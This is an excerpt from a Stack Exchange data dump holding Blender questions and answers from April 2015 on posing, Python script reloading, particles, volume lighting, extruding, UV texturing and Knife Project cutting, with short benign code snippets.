  <row Id="28500" PostTypeId="2" ParentId="28475" CreationDate="2015-04-15T07:52:03.603" Score="3" Body="&lt;p&gt;If you apply the pose as rest pose, you are telling Blender which is the initial (rest) position of the bones: undeformed mesh, of course.&#xA;If you want to save and recall poses:&#xA;-  go to the properties window&#xA;- armature&#xA;- pose library&#xA;- plus to add or repalce a new pose&#xA;- lens icon to recall the selected pose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can also create different libraries of poses&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the complete job (new pose always as starting pose):&#xA;- create the new pose in pose mode&#xA;- in object mode select the model&#xA;- Shift D to duplicate it&#xA;- apply the armature modifier&#xA;- apply the pose as rest pose&#xA;- delete the old model&#xA;- add a new armature modifier to your new model, pointing at the previous armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model will have all its vertex groups, so you will not have to redo the weighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This procedure can be very useful because, when animating, in pose mode Alt G, Alt R, Alt S let you put the selected bones in rest position.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="13752" LastEditDate="2015-04-15T08:07:25.217" LastActivityDate="2015-04-15T08:07:25.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28501" PostTypeId="2" ParentId="28497" CreationDate="2015-04-15T08:17:28.487" Score="7" Body="&lt;p&gt;If you have your armature object as &lt;code&gt;arm&lt;/code&gt;, you can get its n&lt;sup&gt;th&lt;/sup&gt; bone’s tail local position (i.e. its pose location in armature’s object space) with &lt;code&gt;arm.pose.bones[n].tail&lt;/code&gt;, so to get that in world coordinates, just multiply it with the armature’s world matrix: &lt;code&gt;arm.matrix_world * arm.pose.bones[n].tail&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note however it may be simpler (in simple cases) to use a bone constraint like &lt;code&gt;Floor&lt;/code&gt; or &lt;code&gt;Limit Position&lt;/code&gt; ones…&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-04-15T08:17:28.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28504" PostTypeId="1" CreationDate="2015-04-15T10:58:27.160" Score="5" ViewCount="3290" Body="&lt;p&gt;I have two scripts. One that runs the &lt;strong&gt;main&lt;/strong&gt; logic and another that holds a set of &lt;strong&gt;functions&lt;/strong&gt; that I want to call. However when I make a change to the functions script it is not updated. I have saved the function script as a file and I can see that the changes have been applied to it but these changes are not reflected when I click run on my main script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried click run script on my functions script and if I modify it so it contains an error it will tell me but the main script doesn't seem to notice or care. The only way to get Blender to take notice of any changes in my scripts is to close and reopen it! Why is this happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears I've not understood how script works in Blender when you're not running the game engine. So my question effectively becomes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I run a script that calls functions in other scripts by clicking a button in Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand this could be considered too broad or too different to my original question so I am considering closing this and starting again.&lt;/p&gt;&#xA;" OwnerUserId="13779" LastEditorUserId="13779" LastEditDate="2015-04-15T11:28:07.547" LastActivityDate="2017-05-17T22:40:59.530" Title="Blender ignores changes to python scripts" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28505" PostTypeId="2" ParentId="28504" CreationDate="2015-04-15T11:08:59.813" Score="17" Body="&lt;p&gt;Once a Python module has been imported, it will never be reloaded by the interpreter (that is, not automatically) when source file changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has an operator to reload all of its py scripts, triggered by the &lt;code&gt;F8&lt;/code&gt; shortcut (in default keymap).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, that will only reload registered addons (and startup/UI scripts), if your addon contains several sub-modules you need to handle their reload yourself, using that kind of construct in your &lt;code&gt;__init__.py&lt;/code&gt; addon’s file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# When bpy is already in local, we know this is not the initial import...&#xA;if &quot;bpy&quot; in locals():&#xA;    # ...so we need to reload our submodule(s) using importlib&#xA;    import importlib&#xA;    if &quot;my_submodule&quot; in locals():&#xA;        importlib.reload(my_submodule)&#xA;&#xA;&#xA;# This is only relevant on first run, on later reloads those modules&#xA;# are already in locals() and those statements do not do anything.&#xA;import bpy&#xA;import my_submodule&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-04-15T11:08:59.813" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28506" PostTypeId="1" CreationDate="2015-04-15T11:39:01.153" Score="6" ViewCount="291" Body="&lt;p&gt;Some vertices are missing in edit mode as you can see in the yellow circles on the image. I did not press &lt;kbd&gt;H&lt;/kbd&gt; to hide them. Why are they hidden?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jjh3F.png&quot; alt=&quot;Hidden vertices&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13780" LastEditorUserId="6204" LastEditDate="2015-04-15T15:03:14.107" LastActivityDate="2015-04-15T15:03:14.107" Title="Some vertices are hidden in edit mode (not using H)" Tags="&lt;animation&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28507" PostTypeId="2" ParentId="28506" CreationDate="2015-04-15T11:43:12.797" Score="10" Body="&lt;p&gt;This is because you have a &lt;em&gt;Subdivision Surface&lt;/em&gt; modifier. They aren't really missing, it is just the surfaces being smoothed over those vertices, hiding them. You can either disable the modifier in edit mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OYzZ7.jpg&quot; alt=&quot;Disable In Edit Mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can toggle &lt;em&gt;Limit Selection to Visible&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vnVd3.jpg&quot; alt=&quot;Limit Selection to Visible&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rNDrN.gif&quot; alt=&quot;Hidden vertices example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-04-15T11:54:29.947" LastActivityDate="2015-04-15T11:54:29.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28508" PostTypeId="1" CreationDate="2015-04-15T12:24:58.233" Score="3" ViewCount="186" Body="&lt;p&gt;This question is a following of  &lt;a href=&quot;https://blender.stackexchange.com/questions/28489/lighting-a-volume-with-a-bi-color-point-light&quot;&gt;this one&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to light the center of a cylindric volume with a gradient light White -&gt; Red -&gt; Blue radially from the center to the border.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a test of the lighting one a plane mesh and get this result (after some settings) : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YlMlU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The color gradient is OK&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I renderer the cylindric volume at the same position than the plane.&lt;br&gt;&#xA;And I have this result : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sOFXj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is nearly what I want&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Nearly&lt;/strong&gt;, because I had in idea to see a white glow inside the volume and the outter volume seems to hide the center of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to change the &lt;strong&gt;density&lt;/strong&gt;, &lt;strong&gt;reflection&lt;/strong&gt;, and &lt;strong&gt;scattering&lt;/strong&gt; settings of the volume but I didn't succeed to see the white glow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to give transparency to a volume and see the inside lighting with special settings ? Or not ?&lt;/p&gt;&#xA;" OwnerUserId="13523" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-04-15T12:24:58.233" Title="Lighting a volume with a bi-color point light (2)" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;&lt;transparency&gt;&lt;volumetrics&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28510" PostTypeId="2" ParentId="27703" CreationDate="2015-04-15T14:05:58.123" Score="3" Body="&lt;p&gt;From way back in time, this quote from the 2.4 wiki on using alternate scene's output in the current scene VSE:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sequencer from/to Compositor&#xA;  To go from the Compositor to the Sequencer, enable both &quot;Do Sequence&quot; and &quot;Do Composite&quot;. In the Compositor, the image that is threaded to the Composite Output node is the image that will be processed in the Scene strip in the VSE.&#xA;  The way to go from the Sequencer to the Compositor is through a file store. Have one scene &quot;Do Sequence&quot; and output to an image sequence or mov/avi file. Then, in another scene, &quot;Do Composite&quot; and using an image input node to read in the image sequence or mov/avi file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Render&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.4/Manual/Render&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's been like this for over a decade. I cannot find any reference to earlier ability to edit VSE scene in other VSE scene.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-04-15T14:05:58.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28511" PostTypeId="2" ParentId="28450" CreationDate="2015-04-15T14:08:35.973" Score="3" Body="&lt;p&gt;&lt;strong&gt;Bonus tip:&lt;/strong&gt; If you want these clips to be stacked on each other, select all then press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; to snap them to green playhead. They will stack vertically.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="3710" LastEditDate="2015-06-16T09:27:55.890" LastActivityDate="2015-06-16T09:27:55.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28512" PostTypeId="2" ParentId="28268" CreationDate="2015-04-15T14:56:02.793" Score="1" Body="&lt;p&gt;I figured out how to reproduce the message.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create two objects and make one the parent of the other (maybe Cube is the parent of Sphere)&lt;/li&gt;&#xA;&lt;li&gt;Create a second scene.&lt;/li&gt;&#xA;&lt;li&gt;link the child object from the original scene to the new scene (I selected the sphere and used the Ctrl-L menu to do this).&lt;/li&gt;&#xA;&lt;li&gt;Switch to the new scene.  Blender prints &quot;cyclic OBSphere&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I suspect it's because the scene includes an object whose parent is NOT in the scene.  I have a feeling it is printing &quot;cyclic OB%s&quot;, and this is going to make it hard for anyone googling to find an answer, since the only constant is the word &quot;cyclic&quot;.  OB is glued to the name of the object which can vary quite a bit.  I bet &quot;cyclic OBCube&quot; or &quot;cyclic OBCube.001&quot; will be pretty common.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my original question it was an object named &quot;U voxel -8.0,-4.5&quot; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is with blender 2.74&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-04-15T14:56:02.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28513" PostTypeId="2" ParentId="28480" CreationDate="2015-04-15T15:19:55.650" Score="7" Body="&lt;p&gt;Network Render plugin does not have this functionality.&lt;/p&gt;&#xA;&lt;p&gt;Render the scene remotely via the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Command_Line&quot; rel=&quot;nofollow noreferrer&quot;&gt;command line&lt;/a&gt;. You can run your own script with it to set proper rendering device or render tile-size.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;blender -b file.blend -E CYCLES -t 0 -o //file -P script.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the script.py:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.context.user_preferences.addons['cycles'].preferences.compute_device_type = 'CUDA'&#xA;bpy.context.user_preferences.addons['cycles'].preferences.devices[0].use= True&#xA;&#xA;bpy.context.scene.cycles.device = 'GPU'&#xA;&#xA;bpy.context.scene.render.tile_x = 256&#xA;bpy.context.scene.render.tile_y = 256&#xA;&#xA;bpy.ops.render.render(write_still=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Blender 2.8+&lt;/h2&gt;&#xA;&lt;p&gt;There's an API change for Blender versions 2.8+, it's only &lt;code&gt;bpy.context.preferences&lt;/code&gt; (not &lt;code&gt;user_preferences&lt;/code&gt; anymore)&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-02-14T22:58:50.643" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28514" PostTypeId="1" AcceptedAnswerId="28515" CreationDate="2015-04-15T15:24:20.903" Score="7" ViewCount="289" Body="&lt;p&gt;How to emit each particle object, so that, say, each instance is scale = 0 when born, and scale = 1 when died? I remember we can do this in 2.49, but things seems being changed in 2.5+, in which the same action is being played simultaneously on all instances, instead of one after another.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-04-15T16:35:04.903" Title="Emit each particle while scaling one after another" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28515" PostTypeId="2" ParentId="28514" CreationDate="2015-04-15T16:30:49.447" Score="8" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Texture under the Particle System:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DiRTy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set it to gradient(Blend), set the mapping to Particle and influence Size:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P5znF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This is what you get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LlcXh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The rest is just setting the gradient and default particle size so when they die their size is 1. If they die at random then no, I think this cannot be done without some custom scripted particle generator with frame change handlers. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-15T16:30:49.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28517" PostTypeId="1" CreationDate="2015-04-15T17:25:36.753" Score="3" ViewCount="931" Body="&lt;p&gt;I am having trouble just starting a script in BGE &#xA;for example &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cont = GameLogic.getCurrentController()&#xA;print dir(GameLogic)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does not print out in a console window - In fact I get no interaction with the console window at all At this point I would love to simply print something out from a script to the console. Is there a quick test to check my system? Is there a  tutorial which just gets things rolling? Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="13783" LastEditorUserId="241" LastEditDate="2020-05-20T11:26:09.303" LastActivityDate="2020-05-20T11:26:09.303" Title="How do I print something to the console when using the game engine?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28518" PostTypeId="1" CreationDate="2015-04-15T18:54:25.857" Score="2" ViewCount="76" Body="&lt;p&gt;I made a particle force in the middle of a sphere so the elements moves from the center, but its weird because the elements move around but without rotating, as you can see thay are like lines, is there any form to avoid this? Because they look like bricks or something but not actual particles/random things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/baN9c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YOldH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13785" LastEditorUserId="13785" LastEditDate="2015-04-15T19:13:50.363" LastActivityDate="2015-04-15T19:13:50.363" Title="How can i randomize the objects that work as particles when moving from a Force?" Tags="&lt;particles&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28519" PostTypeId="1" CreationDate="2015-04-15T19:09:10.420" Score="1" ViewCount="236" Body="&lt;p&gt;I am wondering if possible to mark known points (different colors or like this) on a sphere and getting its coordinates in image plane? I need that for an idea to model a fisheye camera. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="5426" LastEditDate="2015-04-25T13:44:19.657" LastActivityDate="2015-04-25T13:44:19.657" Title="Mark a point on a sphere" Tags="&lt;cycles-render-engine&gt;&lt;mesh&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28520" PostTypeId="2" ParentId="28517" CreationDate="2015-04-15T19:12:06.527" Score="4" Body="&lt;p&gt;You need to import GameLogic before you can use it, print statement has been &lt;a href=&quot;https://docs.python.org/3.0/whatsnew/3.0.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;replaced by a function&lt;/a&gt; in python3 &lt;code&gt;print( arg )&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This works:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;import GameLogic&#xA;cont = GameLogic.getCurrentController()&#xA;print(dir(cont))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or alternatively&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cont = bge.logic.getCurrentController() # bge.logic is automatically imported&#xA;print(dir(cont))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that the script wouldn't work in the python console (Editor Type) only when wired in the logic editor.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R7KGp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The output goes to console opened via main menu: Window / Toggle System Console&lt;/p&gt;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1879/is-it-possible-to-dump-an-objects-properties-and-methods&quot;&gt;Is it possible to dump an Objects Properties and Methods?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-16T20:07:34.913" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28522" PostTypeId="1" AcceptedAnswerId="28526" CreationDate="2015-04-15T19:24:50.490" Score="1" ViewCount="312" Body="&lt;p&gt;So I was making a side walk for a curved park of a road that I made, but I wasn't sure how I was going to make it. when I tried to extruded the edge, the extruder locked into place in some odd angle, but it was an angle that surprisingly worked perfectly for me so I got the side walk on on side of the road but on the other side I couldn't figure out how to get the extruder to lock into place. I will include a picture to help show my problem. I would really like if someone could point out how I made the extruder lock into place like in a odd angle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Nova&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qFfNF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11041" LastEditorUserId="599" LastEditDate="2015-04-15T19:48:49.403" LastActivityDate="2015-04-15T19:48:49.403" Title="Blender can't get extrude to lock in odd position again" Tags="&lt;modeling&gt;&lt;transforms&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28523" PostTypeId="5" CreationDate="2015-04-15T19:25:24.100" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/2.90/editors/3dview/3d_cursor.html?#direct-placement-with-the-mouse&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using the 3D cursor for positioning&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Also see &lt;a href=&quot;http://blender.stackexchange.com/q/24787/599&quot;&gt;Uses of the 3D Cursor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-20T23:47:50.417" LastActivityDate="2020-10-20T23:47:50.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28524" PostTypeId="4" CreationDate="2015-04-15T19:25:24.100" Score="0" Body="The 3D cursor is a generic cursor which exists in 3D space. It's used for many things, from precisely positioning and snapping objects to marking the clone source while painting with a clone brush. It can also be used to define custom pivot points for rotational tools." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-04-15T19:25:24.100" LastActivityDate="2015-04-15T19:25:24.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28525" PostTypeId="1" CreationDate="2015-04-15T19:27:43.747" Score="2" ViewCount="26281" Body="&lt;p&gt;Is it possible to merge two sculpted meshes?&#xA;If you want to make a 3d printable mesh, you want to make it hollow... so you copy the mesh and scale it down, inwards. Then you make faces between those two meshes... Is this realistic to make with an complex sculpted mesh, or should this be done, before you make the complex sculpting? Or should I retopology?&#xA;Also I sculpted the face/head and the hair in two seperate meshes, also the eyes are seperate... how do I efficient merging all those meshes into one?&#xA;Many thanks and happy modeling :)&lt;/p&gt;&#xA;" OwnerUserId="13706" LastActivityDate="2019-05-09T06:26:37.940" Title="How to merge two sculpted meshes?" Tags="&lt;mesh&gt;&lt;sculpting&gt;&lt;3d-printing&gt;" AnswerCount="5" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28526" PostTypeId="2" ParentId="28522" CreationDate="2015-04-15T19:48:34.383" Score="3" Body="&lt;p&gt;By default extrude will lock along the &lt;em&gt;normal&lt;/em&gt; of the selected faces. The normal is perpendicular to the plane of the face. In other words, the direction the face is facing.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;To unlock it, press &lt;kbd&gt;Z&lt;/kbd&gt; after extruding.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To re-lock it, set the &lt;em&gt;transform orientation&lt;/em&gt; to &lt;em&gt;normal&lt;/em&gt; in the &lt;em&gt;header&lt;/em&gt; of the 3D view. Then press &lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; after extruding and unlocking (or &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; if you cancelled/completed the extrude/transform operator)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uxZWv.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Also see:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/7365/599&quot;&gt;Extrude Faces along Local Normals&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/5060/599&quot;&gt;How can faces be rotated around their individual normals?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-15T19:48:34.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28527" PostTypeId="1" AcceptedAnswerId="28531" CreationDate="2015-04-15T20:14:25.857" Score="2" ViewCount="140" Body="&lt;p&gt;I am trying to unwrap a cube. I know that it is very obviously. I mark the seam and so but the texture does not appears as mentioned in the image &#xA;&lt;img src=&quot;https://i.stack.imgur.com/rvAYo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastActivityDate="2016-12-21T00:05:54.640" Title="Texture unwrap does not appear as expected" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28528" PostTypeId="2" ParentId="28525" CreationDate="2015-04-15T20:24:37.260" Score="1" Body="&lt;p&gt;You can join multiple objects with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="7777" LastEditDate="2015-04-15T21:07:04.530" LastActivityDate="2015-04-15T21:07:04.530" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28530" PostTypeId="1" AcceptedAnswerId="28532" CreationDate="2015-04-15T20:41:39.077" Score="0" ViewCount="820" Body="&lt;p&gt;I'm in the process of creating a visual model of a product made using 2D CAD software. The .svg which I have imported into blender is the file sent to a laser cutter which would out cut across an acrylic sheet wherever there is a path in order to form the shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is a way of cutting the plane such that the result would be similar to what would be carried out by the laser cutter (imagine the resultant shape being cut out of plane using a knife with runs along the path, if that makes sense)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to use the Boolean modifier to achieve the effect I am looking for but with limited success. It only seems to cut out a small section of the design for reasons which I do not understand:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ohfag.png&quot; alt=&quot;Curve without any modifications&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/UPrD6.png&quot; alt=&quot;Plane with the Boolean modification applied with operation: difference which is the closest setting to what I want&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13788" LastEditorUserId="5426" LastEditDate="2015-04-15T22:10:30.593" LastActivityDate="2015-04-15T22:22:05.147" Title="How would I cut across a plane using a die-like mesh/curve?" Tags="&lt;modifiers&gt;&lt;objects&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-04-16T04:02:11.067" ContentLicense="CC BY-SA 3.0" />
  <row Id="28531" PostTypeId="2" ParentId="28527" CreationDate="2015-04-15T20:42:55.520" Score="2" Body="&lt;p&gt;To show the texture in 3D View in &lt;strong&gt;Cycles&lt;/strong&gt;, Texture Node should be created in the material and viewport switched to &lt;strong&gt;Textured Viewport Shading&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BCYhI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2016-12-21T00:05:54.640" LastActivityDate="2016-12-21T00:05:54.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28532" PostTypeId="2" ParentId="28530" CreationDate="2015-04-15T21:07:14.933" Score="0" Body="&lt;p&gt;To cut the shape on the plane with a curve object you can use &lt;strong&gt;Knife Project&lt;/strong&gt; tool. Place your curve object above the plane, while its selected hold &lt;kbd&gt;Shift&lt;/kbd&gt; and select the plane, switch to &lt;strong&gt;Top View&lt;/strong&gt;, then &lt;strong&gt;Orthogonal View&lt;/strong&gt; by hitting &lt;kbd&gt;5&lt;/kbd&gt; on the &lt;em&gt;Numeric Keypad&lt;/em&gt; and change to &lt;strong&gt;Edit Mode&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then In &lt;strong&gt;Edit Mode&lt;/strong&gt; select &lt;strong&gt;Knife Project&lt;/strong&gt; in Tools tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid errors in the mesh, before using Knife Project tool you can subdivide the plane few times or convert the curve object to mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aXd3X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-04-15T22:22:05.147" LastActivityDate="2015-04-15T22:22:05.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
